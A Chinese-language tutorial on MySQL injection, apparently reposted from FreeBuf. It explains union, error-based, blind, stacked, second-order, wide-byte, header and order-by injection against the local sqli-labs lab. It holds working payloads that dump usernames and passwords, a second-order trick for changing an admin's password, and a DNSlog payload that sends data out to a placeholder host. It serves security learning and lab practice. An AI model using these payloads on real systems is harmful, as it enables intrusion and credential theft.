mysql 基本用法
查库:select schema_name from information_schema.schemata;
查表:select table_name from information_schema.tables where table_schema='security';
查列:select column_name from information_schema.columns where table_name='users';
查字段:select username,password from security.users;
基本函数
left() 函数
left(a,b) 从左侧截取a的前b位,正确返回1,错误返回0
mysql> select left(database(),3)='s'; // 截取前三位,但是右边就只有一位
+------------------------+
| left(database(),3)='s' |
+------------------------+
| 0 | // 错误
+------------------------+
1 row in set (0.00 sec)
mysql> select left(database(),3)='sec';
+--------------------------+
| left(database(),3)='sec' |
+--------------------------+
| 1 |
+--------------------------+
1 row in set (0.00 sec)
mysql> select left(database(),1)='s';
+------------------------+
| left(database(),1)='s' |
+------------------------+
| 1 |
+------------------------+
1 row in set (0.00 sec)
regexp 函数
regexp 函数: select user() regexp 'r' user()的结果是里有r,则为1,否则0
mysql> select user();
+----------------+
| user() |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)
mysql> select user() regexp 'root';
+----------------------+
| user() regexp 'root' |
+----------------------+
| 1 |
+----------------------+
1 row in set (0.00 sec)
mysql> select user() regexp 'r';
+-------------------+
| user() regexp 'r' |
+-------------------+
| 1 |
+-------------------+
1 row in set (0.00 sec)
mysql> select user() regexp 'lo';
+--------------------+
| user() regexp 'lo' |
+--------------------+
| 1 |
+--------------------+
1 row in set (0.00 sec)
mysql> select user() regexp 'roc';
+---------------------+
| user() regexp 'roc' |
+---------------------+
| 0 |
+---------------------+
1 row in set (0.00 sec)
// 如果在语句中使用 ^ 那么就会在最开始查,而不加 ^ 就会在整个语句中查找是否匹配
mysql> select user() regexp 'lo';
+--------------------+
| user() regexp 'lo' |
+--------------------+
| 1 |
+--------------------+
1 row in set (0.00 sec)
mysql> select user() regexp '^lo';
+---------------------+
| user() regexp '^lo' |
+---------------------+
| 0 |
+---------------------+
1 row in set (0.00 sec)
like 函数
like 函数: select user() like 'ro%' 匹配和 regexp 相似 与 regexp 区别在于 like 只能在开头匹配, regexp 全文匹配
mysql> select user();
+----------------+
| user() |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)
mysql> select user() like 'root%';
+---------------------+
| user() like 'root%' |
+---------------------+
| 1 |
+---------------------+
1 row in set (0.00 sec)
mysql> select user() like 'loca%';
+---------------------+
| user() like 'loca%' |
+---------------------+
| 0 |
+---------------------+
1 row in set (0.00 sec)
substr 函数
substr(a,b,c) : select substr() XXXX substr(a,b,c) a 字符串中,从 b 位置开始截取 c 个字符
ascii() 函数
//将某个字符串转化为 ascii 值
mysql> select ascii('a');
+------------+
| ascii('a') |
+------------+
| 97 |
+------------+
1 row in set (0.00 sec)
mysql> select ascii(substr((select database()),1,1));
+----------------------------------------+
| ascii(substr((select database()),1,1)) |
+----------------------------------------+
| 115 |
+----------------------------------------+
1 row in set (0.00 sec)
mysql> select ascii(substr((select database()),1,1))>110; // 结果如果大于110,就会返回1,否则返回0
+--------------------------------------------+
| ascii(substr((select database()),1,1))>110 |
+--------------------------------------------+
| 1 |
+--------------------------------------------+
1 row in set (0.00 sec)
mid()函数
//mid(a,b,c) 查询 a 数据,从查询到的 a 数据中的第 b 位开始提取,一共取 c 个字符
注意:查询的 a 数据必须为 string 类型
substr() 函数
//substr() 和 substring () 函数实现的功能是一样的,均为截取字符串
//substr(a,b,c) a 为查询的语句,b 为语句从 b 位开始,c 为语句从 b开始取 c 个值
concat() 函数
Select concat((select database()));
//作用:把两个或者多个字符串连接起来
concat_ws() 函数
例如:
concat_ws(',','1','2','3')
输出的值为:1,2,3
//concat_ws() 全称:concat with separator
第一个参数为分隔符,其他的为值,输出结果为每个值用分隔符分开。值的数量是无限的
group_concat() 函数
select id,group_concat(name) from aa group by id;
+------+--------------------+
| id| group_concat(name) |
+------+--------------------+
|1 | 10,20,20|
|2 | 20 |
|3 | 200,500|
+------+--------------------+
3 rows in set (0.00 sec)
————————————————
//该函数为把返回的值满足条件的输出到一个框框里面
group by 函数
//根据一个或者多个列对结果集进行分组
//最重要的就是去掉重复的数据
Orders表
O_Id OrderDate OrderPrice Customer
1 2008/12/29 1000 Bush
2 2008/11/23 1600 Carter
3 2008/10/05 700 Bush
4 2008/09/28 300 Bush
5 2008/08/06 2000 Adams
6 2008/07/21 100 Carter
mysql > SELECT Customer,SUM(OrderPrice) FROM Orders GROUP BY Customer;
Customer SUM(OrderPrice)
Bush 2000
Carter 1700
Adams 2000
count() 函数
//返回表中记录数(横为记录,竖为字段)
mysql count(*) from table_name; //返回 table_name 表中的所有记录数
Orders表
O_Id OrderDate OrderPrice Customer
1 2008/12/29 1000 Bush
2 2008/11/23 1600 Carter
3 2008/10/05 700 Bush
4 2008/09/28 300 Bush
5 2008/08/06 2000 Adams
6 2008/07/21 100 Carter
mysql > SELECT COUNT(Customer) AS CustomerNilsen FROM Orders WHERE Customer='Carter'
+-------------------+
| CustomerNilsen |
+-------------------+
| 2 |
+-------------------+
1 row in set, 1 warning (0.00 sec)
floor() 函数
//向下取整
mysql > select floor(20.11);
+----------------------+
| floor(20.11) |
+----------------------+
| 20 |
+----------------------+
1 row in set, 1 warning (0.00 sec)
rand() 函数
//rand函数为在 0 到 1 之间随机取一个数,此数为随机数
mysql> SELECT RAND();
+------------------+
| RAND() |
+------------------+
| 0.45464584925645 |
+------------------+
1 row in set (0.00 sec)
//当括号里面的参数固定的时候,随机数也是固定的
mysql> SELECT RAND(2);
+------------------+
| RAND(2) |
+------------------+
| 0.6555866465490187 |
+------------------+
1 row in set (0.00 sec)
mysql> SELECT RAND(2);
+------------------+
| RAND(2) |
+------------------+
| 0.6555866465490187 |
+------------------+
1 row in set (0.00 sec)
sleep() 函数
//sleep() 函数是可以让程序停止执行一段指定的时间
mysql > select sleep(3);
+---------------+
| sleep(3)|
+---------------+
| 3 |
+---------------+
1 row in set, 1 warning (3.00 sec)
if() 函数
//用作语句判断
if(a,b,c) // a 为需要判断的语句,如果 a 为真就输出 b , a 为假就输出 c
mysql > select if(1=2,'true','false');
+-----------------------+
| if(1=2,'true','false')|
+-----------------------+
| false |
+-----------------------+
1 row in set, 1 warning (0.00 sec)
ord() 函数
// ord() 函数就是一个返回字符的 ascii 码
mysql > select ord('a');
+-----------------------+
| ord('a') |
+-----------------------+
| 97 |
+-----------------------+
1 row in set, 1 warning (0.00 sec)
length() 函数
//返回字符串的长度
mysql > select length('abcdefg');
+-----------------------+
|length('abcdefg') |
+-----------------------+
| 7 |
+-----------------------+
1 row in set, 1 warning (0.00 sec)
system_user() #当前系统用户
user() #当前登录用户
current_user() #当前登录用户
database() #当前使用的数据库
version() #当前 mysql 版本信息
@@datadir # mysql 的安装路径
@@version_compile_os #当前的操作系统
在上述中因为有回显,所以现在选择在 3 的位置做一个查库操作
这时就会得到第一个数据库
使用 limit 取出更多的数据
因为在 web 网页中就只能显示一行
所以行是不变的,在列上发生变化就可以了
如上这样一个一个的输出很慢,所以用到
group_concat()
它会把数据连接成一行输出
这时 mysql 数据库就出来了
information_schema,challenges,mysql,performance_schema,security,sys
这时取 security 进行操作,得到 security 中的表信息
emails,referers,uagents,users
在上一步操作中的最后一个 table_schema='security'
不推荐使用单引号
把单引号去掉,在 security 前写入 0x 变为16进制
选中 security 然后点击 Encoding 在点击 Hex Encode
对 users 列表进行操作
同样的 ‘’ 里面的东西一样转化为 16 进制
取出 user 里面的 username 和 password
使用一个批量的函数: concat_ws('~~',A,B) 表示:A~~B
http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1'union select 1,2,group_concat(concat_ws('~~',username,password)) from security.users --+
等价于
http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1'union select 1,2,group_concat(concat_ws(0x7e7e,username,password)) from security.users --+
单引号里面的东西尽量变为 0x (16进制)
less-01
进入数据库:mysql -h127.0.0.1 -uroot -proot
show databases;
use security;
select * from where id='1' LIMIT 0,1;
limit 0,1; 其中第一位是从第几个开始,比如 0 代表从第一个开始,而第二位的1代表的就是显示多少个数据
在 sql 语句中:
--+:减减加
-- :减减空格
#:井号
都是代表注释的意思,表示此符号后不执行
在 sql 语句中:
or and
A and B :A,B 都为 true 才为 true
A or B :A,B 中有一个正确结果都是 true
order by number:
number : 代表是第几列,进行顺序排列
显示没有第五列
试出 mysql 数据库中 less-1 存在三列
这时,已知存在三列 1,2,3
所以这里用 union
把 id=1 改为 id=-1 使其报错,执行 union 后面的 sql 语句
这时候 name 为2
password 为3
说明有回显,可以进行递用
小结
1。 http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=1' #查看是否有注入
2。 http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=1' order by 3 --+ #查看有多少列
3。 http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,3 --+ #查看当前有哪些数据可以回显
4。 http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,database() --+ #查看当前数据库
5。 http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,schema_name from information_schema.schemata limit 4,1 --+ #查看数据库 security
或者是
http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+ #查看所有的数据库
6。 http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1’ union select 1,2,table_name from information_schema.tables where table_schema='security' limit 1,1 --+ #查表
或者是
http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ #查看所有的表
7。 http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,column_name from information_schema.columns where table_name='users' --+ #查询列信息
或者是
http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+ #查看所有的列信息
8。 http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,concat_ws('~~',username,password) from security.users limit 1,1 #查询一个账号和密码
或者是
http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,group_concat(concat_ws('~~',username,password)) from security.users --+ #查看可以得到的所有账号和密码,并且使用 ~~ 符号进行分隔。
联合注入
原理:
使用联合查询的方式进行注入
使用关键词 union select 对两个表进行联合查询。两个表的字段数必须相同
要注意的是 union 内部的 select 语句必须拥有相同数量的列,列也必须拥有相似的数据类型,每条 select 语句中的列顺序必然相同
所以需要用 order by 去猜解判读字段数
例如:
?id=1'order by 3 --+ //成功
?id=1'order by 4 --+ //失败
说明有三个字段
playload:select …… union select ……
注意:union 前面为假后面才能正常查询
所以 union 联合查询搭配报错注入
利用一段源码举例:
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
?id=1'order by 3 --+ //成功
?id=1'order by 4 --+ //失败
这个时候需要构建 playload:select …… union select ……
id = union select 1,2,database()
组合起来:$sql="SELECT * FROM users WHERE id='union select 1,2,database()' LIMIT 0,1";
语句报错
id = -1' union select 1,2,database() --+
组合起来:$sql="SELECT * FROM users WHERE id='-1' union select 1,2,database() --+' LIMIT 0,1";
语句成功执行
//这里 -1' 是为了闭合和报错,union 前面的报错了,后面的才能正常执行
报错注入
报错注入参考博客:https://blog.csdn.net/rfrder/article/details/108674217
bigint 溢出
原理:
bigint 溢出就是当函数查询的值超过了最大值后就会出现溢出报错
具体使用攻击的函数如下 exp()
注入原理如下:
//当语句执行成功的时候就返回值为 0 ,失败的时候就为 1 ,这里使用 ! 符号用来进行逻辑非运算。如果值是 0 进行逻辑非运算就是 1
mysql> select (select*from(select user())x);
+-------------------------------+
| (select*from(select user())x) |
+-------------------------------+
| root@localhost |
+-------------------------------+
1 row in set (0.00 sec)
# Applying logical negation
mysql> select !(select*from(select user())x);
+--------------------------------+
| !(select*from(select user())x) |
+--------------------------------+
| 1 |
+--------------------------------+
1 row in set (0.00 sec)
//所以我们只要能够组合好逻辑取反和逐位取反运算,我们就能够利用溢出错误来成功的注入查询
//下面的命令解释:select*from(select user())x 得到的结果为 0
!(select*from(select user())x) 得到的结果为 1
~0+!(select*from(select user())x) 得到的结果为 ~0+1
~0+1 ---》 因为 ~0 已经达到了最大无符号的 bigint 值了,所以再 +1 就溢出了,溢出就造成了报错
mysql> select ~0+!(select*from(select user())x);
ERROR 1690 (22003): BIGINT value is out of range in '(~(0) + (not((select 'root@localhost' from dual))))'
exp() 函数 (又名:利用double数值类型超出范围进行报错注入)
当传递一个大于 709 的值时,exp() 函数就会引起一个溢出错误
//正常如下
mysql> select exp(709);
+-----------------------+
| exp(709) |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)
//错误如下
mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
注入原理如下:
将 0 取反返回的值为 “18446744073709551615”
因为当函数成功执行后返回的值为 0 ,失败就返回 1
所以将成功的函数取反就得到了最大的无符号 binint 值
mysql> select ~0;
+----------------------+
| ~0 |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)
mysql> select ~(select version());
+----------------------+
| ~(select version()) |
+----------------------+
| 18446744073709551610 |
+----------------------+
1 row in set, 1 warning (0.00 sec)
playload:
exp(~(select * from (需要查询的语句) x))
举例:
exp(~(select * from (select group_concat(table_name) from information_schema.tables where table_schema=database()) a))
小结
和前面的BIGINT注入一样,exp注入也适用于MySQL5.5.5及以上版本
Xpath报错注入
XPath 使用路径表达式在 XML 文档中进行导航
XPath 包含一个标准函数库
XPath 是 XSLT 中的主要元素
XPath 是一个 W3C 标准
xpath基础语法和基础知识
https://www.runoob.com/xpath/xpath-syntax.html
extractvalue() 函数
http://127.0.0.1/sqli-labs-php7-master/Less-5/?id=1' and extractvalue(1,concat('~',(select @@version),'~')) --+
extractvalue() 函数 payload: and extractvalue(null,concat(0x7e,(payload),0x7e))
xpath相关学习博客:https://www.cnblogs.com/backlion/p/8554749.html
updataxml() 函数
payload: and 1=(updatexml(1,concat(0x7e,(payload)),1))
updatexml这个函数是用来更新 xml 数据的。默认传进去的是更新的内容,但是非法传参使他故意报错,然后执行 sql 语句
双查询注入
需要用到的函数有:
concat() //把查询到的结果连接起来
rand() //0-1 取随机数,但是括号里面给了固定的参数,随机数也随着固定
floor() //向下取整
count() //统计表中有多少条记录
group by() //去掉表中重复的数据
原理:
报错注入的形式为两个嵌套的查询:
select……(select……)
**括号里面的查询被称之为子查询,在执行顺序中子查询先执行,然后再执行外面的 select **
*floor(rand(0)2) 的值是确定性的,假随机
floor(rand(0)*2)-----------011011
select count(*) from table group by floor(rand(0)*2);
group by 创建了一个虚表/临时表,每一行都有唯一的 group_id,以 floor(rand(0)*2) 为 group_id
如果不存在则插入则插入
如果存在则 count() 值加1
深层原理:
通过floor报错的方法来爆数据的本质是group by语句的报错。group by语句报错的原因是floor(random(0)*2)的不确定性,即可能为0也可能为1(group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中则更新临时表中的数据;如果该key不存在于临时表中,则在临时表中插入key所在行的数据。group by floor(random(0)*2)出错的原因是key是个随机数,检测临时表中key是否存在时计算了一下floor(random(0)*2)可能为0,如果此时临时表只有key为1的行不存在key为0的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时floor(random(0)*2)结果可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值。
举例:
playload:
?id=-1' union select 1,count(*),concat( (select database()),floor(rand()*2)) as a from information_schema.tables group by a --+
?id=-1’ union select 1,2,3 from(select count(*),concat((select concat(version(),’-’,database(),’-’,user()) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
时间盲注(又名:延时注入)
需要用到的函数为:
if() //判断函数
ascii() //字符输出为对应的 ascii 码
length() //输出字符的长度
sleep() //控制执行语句运行时间
substr(a,b,c) //从 a 中, b 开始取 c 个值
left(a,b) //从 a 中提取 b 个值(从第一个值开始取)
判断注入点
?id=1' and sleep(5) --+ //正常休眠
?id=1" and sleep(5) --+ //无休眠
?id=1') and sleep(5) --+ //无休眠
?id=1") and sleep(5) --+ //无休眠
playload:
?id=1' and if(length(database())=8,sleep(10),1) --+
//解释:判断 database() 输出结果的长度,如果长度为 8 ,那么就睡 10 秒,如果长度不是 8 ,那就输出 1 ,输出 1 的话就是报错
//使用盲注爆出数据库(1)
?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(10)) --+
//解释:执行 database() 命令后取第一位字符,第一位字符的对应 ascii 码为 115 ,如果执行得出的结果第一位是 115 那么就正常运行,如果执行得出的结果错误就会 sleep 10 秒,以此来判断
//使用盲注爆出数据库(2)
?id=1' and if(left(database(),1)='s',sleep(5),1) --+
//解释:执行 database() 命令后取第一位字符,第一位字符为 s 程序就 sleep 5 秒,如果不为 s 就报错
附上一篇盲注脚本
https://blog.csdn.net/weixin_41598660/article/details/105162513
布尔注入
原理:
boolean 根据注入信息返回 true or fales 没有其他任何报错信息
常用函数:
length() // 返回字符串的长度
substr(a,b,c) // 将 a 从 b 位置开始截取 c 长度的字符串,注意 b 位置是从一开始的,不是 0 开始
mid(a,b,c) // 将 a 从 b 位置开始截取 c 个字符串,注意 b 位置是从一开始的,不是 0 开始
ascii() // 返回字符串最左边的字符的 ascii 代码值
ord() // 返回 ascii 代码值
if(a,b,c) // 将 a 进行判断,如果是 true 就返回 b , 如果是 false 就返回 c
playload:
?id=1' and length(database())=8 --+
返回正常,说明数据库名长度为 8
?id=1' and ascii(substr(database(),1,1))=115 --+
返回正常说明第一个数据库的第一个字符是 s
?id=1' and left(database(),9)='security' --+
返回正常,说明数据库名为 security
堆叠注入
原理:
sql 语句由 ; 结尾,在执行多条语句时用结束符 ; 分开,那么在 ; 结束符号后 sql 下一句语句会一起执行
注意:堆叠注入的触发天骄比较苛刻
如以下情况堆叠注入不成立
1. 当服务器访问数据不能同时执行多条 sql 语句的时,
比如:php 中 mysqli_multi_query() 函数就能多条语句同时执行,堆叠注入有效
但是 mysqli_query() 函数就只能一条一条语句执行,这种情况下堆叠注入就无效
2.目标对 ; 符号进行过滤
堆叠注入并不是在每种情况下都能使用的,大多数时候,因为 API 或数据库引擎的不支持,堆叠注入都无法实现
playload
?id=1'; show tables --+
?id=1'; insert into users(id,username,password) values (88,'aa','bb') --+
二次注入
原理:
用 php 举例:
addslashes() // 函数仅接受 string 类型的数据,它会把输入字符串中的字符进行转义
比如:
$str = addslashes('abcd "efg"');
echo($str)
// abcd \"efg\"
get_magic_quotes_gpc() // 和 addslashes() 函数一样的效果会在字符前面增加 \ 符号,达到字符转义
那么我们如何攻击呢?
首先,由于转义字符的纯在,那么我们输入的特殊字符,比如 # ' 等符号都会原封不动的存入数据库中,存入数据库后,我们在进行第二次查询,对前面已经存入数据库中的数据进行闭合和组合,最后达到攻击效果
playload:
$username= mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);
$sql_detail = "select count(*) from users where username='$username'";
$sql="SELECT * FROM users ORDER BY id";
// 以上代码为一部分源码,可以看到使用了 mysql_escape_string() 函数进行转义处理
(数据库中已经有一个 admin 账号,username 和 password 都为 admin)
1. 先注册一个 username 为 admin'# 密码为 123 的账号
// 由于转义字符的存在,所以存入数据库里面的依然是 admin'#
username = admin'#
2. 此时,admin 账号的密码好账号都一样,我们用 admin'# 账号登录,再进行修改密码,原本为 123 的密码,修改为 123456
3.此时,admin 账号密码已经被悄无声息的改为 123456 了,而 admin'# 毫无变动。这是为什么呢
$sql = "UPDATE users SET PASSWORD='123' where username='admin'#' and password='$curr_pass' ";
原来如此,在更改密码的时候 admin'# 这里把语句闭合了。并且把后面的语句给注释掉了。
DNSlog对外注入
原理:
通常在外面面对 sql 注入过程中没有回显的情况下,只能通过盲注的方式来判断是否存在 sql 注入,但是盲注手工测试花费大量的时间。如果用 sqlmap 跑盲注很大概率 ip 会被 ban ,所以使用 dnslog 对外注入来看回显
DNS:域名系统,负责把域名转换成 ip 地址。
DNSlog:DNS的日志,DNS域名解析的时候会留下域名和解析的 ip 记录
DNSlog外带原理:DNS解析会留下日志,我们把信息放在高级域名中,传递到我们这里,通过读取日志获取信息
playload:
?id=1' and (select load_file(concat('\\',(select hex(user())),'xxxxxx.dnslog.cn/1.txt'))) --+
//这个时候 dnslog 网站那边就能看到具体的回显了
中转注入
原理:
当被攻击网站的 url 注入点是经过编码的,不能直接结合 sqlmap 进行漏洞利用,所以本地搭建一个网站,写一个脚本编码文件,就可以结合 sqlmap 工具进行测试。因为复杂编码之后,就不能直接结合 sqlmap 进行漏洞攻击了,或者自己编写脚本进行攻击
推荐博客:https://blog.csdn.net/weixin_40412037/article/details/110088186
宽字节注入
原理:
字符大小为一个是叫窄字节,字符大小为两个及以上的叫宽字节
为了防治 sql 注入,会使用 \ 对一些特殊字符进行转义。比如 php 中 magic_qutes_gpc() 函数的作用就是用户提交的数据进行解析,把 post、get、cookie、过来的数据增加转义字符 \ 确保数据不会引用错误。
但是字符转义了,我们怎么攻击呢,嘿嘿,机智的安全giegie想出了一个东西:
因为 \ 的转义后的编码为 %5c ,中国的汉字偏旁部首还可以拼接成一个汉字。
所以 %5c 当然也可以拼接。
比如: %df%5c 就是 “运” 字。(只有中文的编码数据库才可以这样并且数据库的编码为 GBK 编码)
此时提交进去的 %df%5c 就变成了 %df’ ,这个时候单引号就逃跑出来了,形成了漏洞
playload:
?id=-1%df' union select 1,2,3 --+
cookie注入和xff注入
原理:
cookie注入:
源码没有在 cookie 中做一些过滤
xff注入:
xff 是 X-Forwarded-for 的缩写,通过修改 X-Forwarded-for 投对带入系统的 dns 进行 sql 注入。
playload:
对网站进行抓包,然后添加插入X-Forwarded-For:127.0.0.1头进行sql注入
补充
这一类的都是 http 头注入,相类似的还有
User-Agent:使得服务器能够识别客户使用的操作系统,浏览器版本等.(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)
Cookie:网站为了辨别用户身份进行session跟踪,并储存在用户本地终端上的数据(通常经过加密)
X-Forwarded-For:简称XFF头,代表了HTTP的请求端真实的IP。它被认为是客户端通过HTTP代理或者负载均衡器连接到web服务端获取源ip地址的一个标准(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库或某文件[通过修改XXF头可以实现伪造IP])。
Rerferer:浏览器向 WEB 服务器表明自己的页面来源。
Host:客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号。
between注入
原理:
主要用于盲注查看页面是否变化
比如:username 的字符内容是 test1 ,第一个字符是 t ,a 到 d 搜索不了,页面不正常,a 到 t 就有页面正常
playload
select * from users where id =1 and substr(username,1,1) between 'a' and 'b'; // 页面不正常
select * from users where id =1 and substr(username,1,1) between 'a' and 't'; // 页面正常
order by 注入
函数:
1、order by:对查询结果按照指定列进行排序,指定列的方式有两种:数字或列名
2、ASC:升序排列,默认为ASC
3、DESC:降序排列
注意:以数字方式指定排序列时,数字不能超过列的总数,利用该特性在进行SQL注入的时候可以判断数据库的字段数量
原理:
注意:这个注入在10.5.12-MariaDB-1已经不行了,而在mysql5.7还能使用
order by 注入可以和盲注组合起来用效果更好
在 web 站点中排序功能都是借助 sql 的 order by 来实现的。
当页面出现 mysql 报错信息时,注入点在 order by 后面,此时可以利用报错信息进行注入,尝试报错注入
嫖一下大佬的图用用
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)